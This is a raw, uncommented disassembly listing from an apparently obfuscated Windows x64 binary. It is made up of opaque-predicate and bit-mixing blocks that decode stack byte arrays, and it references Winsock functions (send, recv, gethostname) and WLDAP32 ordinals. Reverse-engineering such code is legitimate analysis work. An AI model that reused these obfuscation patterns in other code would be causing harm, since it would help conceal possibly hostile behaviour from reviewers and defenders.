movabs rcx, 0x191ec48ed16e3812
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x7e
cmp r9, 0x61
jb 0x14007f4d1
movabs rcx, 0xd058bbb3e9d57a6c
add rcx, rbx
movzx eax, cl
and al, dil
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, dil
lea r11d, [rdx + rdx]
jmp 0x14007fc00
movabs rcx, 0x51452f4f0e19b82e
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x42
cmp r8, 0x10
jae 0x14007faca
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14007f9e1
movabs rdx, 0x1d8e73648887b84
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007f500
movabs rcx, 0x896b9a0f4ac5384a
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 6
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x14007fb25
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14007f8d8
movabs rdx, 0x4f6c4818c5913caa
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007f54f
movabs rdx, 0x2e8bbab111cb791c
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xcf8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f012
movabs rdx, 0x66b225714e76f938
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007fcf5
movabs rcx, 0x9ed890318b227954
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4c
jmp 0x14007fcc5
movabs rcx, 0xd6fefaf1c7cdf970
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x10
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f012
movabs rdx, 0xf2565b20479798c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14007fc72
movabs rdx, 0x474bd0724124f9a8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14007faef
movabs rcx, 0x7f723b327dd079c4
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x5c
dec rbx
inc rbx
jmp 0x14007f012
movabs rcx, 0xb798a5f2ba7bf9e0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x14007f012
movabs rdx, 0xefbf10b2f72779fc
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007fc00
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007f799
movabs rdx, 0xe3ecca9fe1aa3ff2
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007f5ae
jne 0x14007f7d5
movabs rdx, 0x64d93e3b05ee7db4
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xcf8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f012
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007f802
movabs rcx, 0xf48c68ba8c977d7c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x64
jmp 0x14007fcc5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007f834
movabs rdx, 0x843f933a13407d44
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x14007fc87
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007f867
movabs rcx, 0x13f2bdb999e97d0c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x54
dec rbx
inc rbx
jmp 0x14007f012
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007f8a2
movabs rdx, 0xdbcc52f95d3dfcf0
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x14007f012
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007f5ae
movabs rdx, 0xa3a5e83920927cd4
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x14007fc00
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007f90a
movabs rdx, 0x1745dd5888e5bc8e
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007fc00
inc rax
cmp r8, rax
jne 0x14007f93f
movabs rcx, 0xdf1f72984c3a3c72
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x1e
inc r9
dec rbx
inc rbx
jmp 0x14007f012
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007f972
movabs rcx, 0xa6f907d80f8ebc56
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x5a
dec rbx
inc rbx
jmp 0x14007f012
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007f9af
movabs rcx, 0xfe85c797598c3c02
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0xe
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f012
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007f54f
movabs rdx, 0xc65f5cd71ce0bbe6
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x4a
jmp 0x14007fcc2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007fa24
movabs rdx, 0xc9b27c760bdcfb68
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xcf8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f012
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007fa51
movabs rcx, 0x5965a6f59285fb30
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x50
jmp 0x14007fcc5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007fa93
movabs rdx, 0x213f3c3555da7b14
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f012
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007f500
movabs rcx, 0x78cbfbf49fd7fac0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x40
dec rbx
inc rbx
jmp 0x14007f012
movabs rdx, 0x983250f3ad29fa50
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, byte [rbp + rbx + 0xcf8]
sub r11b, al
sub r11b, 0x30
add r11b, dl
add r11b, dil
movabs rcx, 0x7c1f1b938ed43a42
add rcx, rbx
movzx eax, cl
and al, dil
mov edx, Ordinal_26
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r11b
mov byte [rbp + rbx + 0xcf8], dl
jmp 0x14007fc87
movabs rcx, 0x600be633707e7a34
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xcf8]
lea r11d, [rdi + rcx]
sub r11b, 0x6c
jmp 0x14007fcc5
movabs rcx, 0xb912de5b60efbdde
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x12
movzx eax, byte [rbp + rbx + 0xcf8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f012
movabs rdx, 0x9f95edcccf4be86
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
jmp 0x14007f012
movabs rcx, 0x421fc99d09a03ea2
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x6e
inc r9
dec rbx
inc rbx
jmp 0x14007f012
movabs rcx, 0x7a46345d464bbebe
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x32
movabs rdx, 0xb4458653cb7fba5e
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rbx + 0xcf8], cl
inc r9
dec rbx
inc rbx
jmp 0x14007f012
movabs rcx, 0x22b9749dfc4e3f12
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x7e
inc r9
dec rbx
inc rbx
jmp 0x14007f012
movabs rdx, 0xcb2cb4deb250bf66
mov ecx, reloc.WLDAP32.dll_Ordinal_27
add rdx, rbx
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f012
mov rdi, r10
movabs rdx, 0x3b798a5f2ba7bf9e
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x52
add r11b, dl
movabs rcx, 0x43f8b0d35228ba26
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0xa
add cl, dil
movzx eax, cl
mov byte [rbp + rbx + 0xcf8], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x27e57b7333d2fa18
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, dl
add cl, dil
mov byte [rbp + rbx + 0xcf8], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xcf8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f012
movabs rdx, 0xabc65fdfa4febfd6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xcf8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f012
movabs rcx, 0x6a0545103d7338ba
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x16
jmp 0x14007f00e
movabs rdx, 0xa22bafd07a1eb8d6
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007effa
lea rcx, [rbp + 0x1630390]
jmp 0x14007fddf
lea rcx, [rbp + 0xcd4382]
jmp 0x14007fddf
lea rcx, [rbp + 0xcf8]
mov dword [rbp + 0xfc0], 0x3f800000
mov dword [rbp + 0xfc8], 0x3dcccccd
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xfc0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfc8]
mov r8, r14
mov edx, 8
call fcn.140037e30
mov byte [rbp + 0xd20], 0xa5
mov byte [rbp + 0xd21], 0xe0
mov byte [rbp + 0xd22], 0x9a
xorps xmm0, xmm0
movups xmmword [rbp + 0xd23], xmm0
movups xmmword [rbp + 0xd33], xmm0
movabs r13, 0x640d9eaadb41f394
movabs r14, 0x351e0403fc68fb24
movabs r15, 0x8b49e96f564b5a34
movzx ebx, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor esi, esi
cmp rsi, 0x23
jae 0x14008093c
movzx edi, byte [rbp + rsi + 0xd20]
mov rdx, rdi
cmp r8, rsi
ja 0x140080933
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14007fec2
lea rcx, [rsi + r13]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0xc
jmp 0x14007ff00
je 0x1400808b4
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008081f
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400807ef
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400807b6
lea rax, [r9 + 6]
cmp r8, rax
je 0x140080789
nop dword [rax]
cmp r9, rsi
ja 0x14008092a
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14007ff2d
lea rdx, [rsi + r14]
movzx eax, dl
and al, dil
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14007ff6d
lea rax, [r9 + 1]
cmp r8, rax
je 0x140080736
inc rax
cmp r8, rax
je 0x14008070b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400806e3
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400806bc
lea rax, [r9 + 6]
cmp r8, rax
je 0x140080684
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x140080239
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x140080217
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400801ec
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400801c4
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400801a2
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14008017b
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140080908
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400808e6
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008007d
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140080064
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14008014a
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140080117
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400800f5
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400800d0
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14008009f
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007ff80
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x61]
jmp 0x14007ff80
lea rcx, [rsi + r15]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x6c
jmp 0x14007ff00
movabs rcx, 0xc32eac199fc7730c
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x54
jmp 0x14007fe94
movabs rcx, 0xc067ed7352b45558
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x68
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007fe82
movabs rdx, 0xf84cb01d9c306e30
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x50
add bl, dl
jmp 0x14008083b
movabs rcx, 0x303172c7e5ac8708
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x38
jmp 0x14008086e
movabs rcx, 0x681635722f289fe0
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x20
movzx eax, byte [rbp + rsi + 0xd20]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007fe82
movabs rdx, 0x73d21c1be6deddfc
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
mov byte [rbp + rsi + 0xd20], bl
inc rsi
jmp 0x14007fe82
movabs rdx, 0x7698dac233f1fbb0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008086e
movabs rcx, 0x562be56b59e25f10
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x70
jmp 0x140080615
movabs rcx, 0x8e10a815a35e77e8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x58
dec rsi
inc rsi
jmp 0x14007fe82
movabs rcx, 0xc5f56abfecda90c0
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x40
inc r9
dec rsi
inc rsi
jmp 0x14007fe82
movabs rcx, 0xfdda2d6a3656a998
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x28
jmp 0x140080753
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140080309
lea rcx, [rsi + r13]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0xc
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x140080656
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x140080415
movabs rdx, 0xd73eceb63eb70a44
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
cmp r8, 0x10
jae 0x1400805ec
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140080524
movabs rdx, 0xc5cd2ba3b200568
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
cmp r9, 9
jb 0x14008016c
movabs rcx, 0xdd6d38135c470cf8
add rcx, rsi
movzx eax, cl
and al, dil
mov edx, Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, dil
lea ebx, [rdx + rdx]
jmp 0x140080753
jne 0x140080343
movabs rdx, 0x6a3c0807f8d1f648
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, byte [rbp + rsi + 0xd20]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007fe82
inc rax
cmp r8, rax
jne 0x14008036d
movabs rcx, 0x3257455daf55dd70
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x10
jmp 0x14008086e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400803ab
movabs rcx, 0x8aa8fd5ed2e192e8
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x58
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007fe82
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400803e1
movabs rdx, 0x1adf780a3fe96138
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
dec rsi
inc rsi
jmp 0x14007fe82
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008025a
movabs rdx, 0xab15f2b5acf12f88
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x140080753
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140080445
movabs rdx, 0x9f5a0c0bf53af16c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x140080753
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140080477
movabs rcx, 0x2f9086b76242bfbc
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x24
dec rsi
inc rsi
jmp 0x14007fe82
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400804b5
movabs rcx, 0xbfc70162cf4a8e0c
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x54
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007fe82
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400804f0
movabs rcx, 0x87e23eb885ce7534
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x6c
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007fe82
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008029a
movabs rdx, 0x4ffd7c0e3c525c5c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x14008083b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140080565
movabs rdx, 0xd478100ff1a3ec90
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, byte [rbp + rsi + 0xd20]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007fe82
inc rax
cmp r8, rax
jne 0x14008058f
movabs rcx, 0x9c934d65a827d3b8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 8
jmp 0x14008086e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400805b7
movabs rcx, 0xbd0042bc82377058
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x68
jmp 0x140080615
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400802d6
movabs rcx, 0x851b801238bb5780
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x80
dec rsi
inc rsi
jmp 0x14007fe82
movabs rdx, 0xa588756912caf420
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + rsi + 0xd20]
add bl, dl
add bl, dil
movabs rdx, 0x9961413ee0ce7b4
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dil
add cl, bl
add cl, dl
mov byte [rbp + rsi + 0xd20], cl
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007fe82
movabs rdx, 0x6da3b2bec94edb48
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + rsi + 0xd20]
add bl, dl
add bl, dil
jmp 0x14008083b
movabs rdx, 0x3e132c07670c1b8c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movzx eax, byte [rbp + rsi + 0xd20]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007fe82
movabs rdx, 0xaddcb15bfa044d3c
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008083b
movabs rcx, 0x8d6fbc051ff4b09c
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x44
dec rsi
inc rsi
jmp 0x14007fe82
movabs rcx, 0xc5547eaf6970c974
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x2c
inc r9
dec rsi
inc rsi
jmp 0x14007fe82
movabs rcx, 0xfd394159b2ece24c
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x14
movabs rdx, 0x417ad6be3789008c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, dil
add cl, dl
mov byte [rbp + rsi + 0xd20], cl
inc r9
dec rsi
inc rsi
jmp 0x14007fe82
movabs rdx, 0xdccc4c02d8dd45ac
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
dec rsi
inc rsi
jmp 0x14007fe82
movabs rdx, 0x4c95d1576bd5775c
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007fe82
movabs rcx, 0x847a9401b5519034
add rcx, rsi
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x6c
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007fe82
mov rdi, rdx
movabs rax, 0xbc5f56abfecda90c
add rax, rsi
and dl, al
add dl, dl
sub al, dl
lea ebx, [rdi + rax]
sub bl, 0x54
movabs rdx, 0xd1b15169a490cedc
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
sub cl, 4
add cl, dl
movzx eax, cl
mov byte [rbp + rsi + 0xd20], al
inc r9
add rax, r9
sub rsi, rax
movabs rcx, 0x35bef0147fd2c270
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x10
add cl, dil
mov byte [rbp + rsi + 0xd20], cl
inc r8
mov rax, r12
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0xd20]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007fe82
movabs rcx, 0x2c28dc0091c5dabc
add rcx, rsi
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x24
movzx eax, byte [rbp + rsi + 0xd20]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007fe82
movabs rcx, 0xfb136ec3e9438be4
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x3c
jmp 0x14007fe80
movabs rcx, 0x32f8316e32bfa4bc
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x24
jmp 0x14007fe70
lea rsi, [rbp + 0x14fb490]
jmp 0x140080943
lea rsi, [rbp + 0x51a824]
jmp 0x140080943
lea rsi, [rbp + 0xd20]
lea rdx, [0x140226070]
lea rcx, [rbp + 0x5e8]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x28]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rdi + 0x38], 0
jne 0x1400a2a12
mov byte [rbp + 0x898], 0xbb
mov byte [rbp + 0x899], 0xa5
mov byte [rbp + 0x89a], 0x53
mov byte [rbp + 0x89b], 0x5c
mov byte [rbp + 0x89c], 0x55
mov byte [rbp + 0x89d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x89e], 0x3f
mov byte [rbp + 0x89f], 0x65
mov byte [rbp + 0x8a0], 0x60
mov byte [rbp + 0x8a1], 0x50
mov byte [rbp + 0x8a2], 0x68
mov byte [rbp + 0x8a3], WSASetLastError
mov byte [rbp + 0x8a4], 0x51
mov byte [rbp + 0x8a5], WSASetLastError
mov byte [rbp + 0x8a6], 0x67
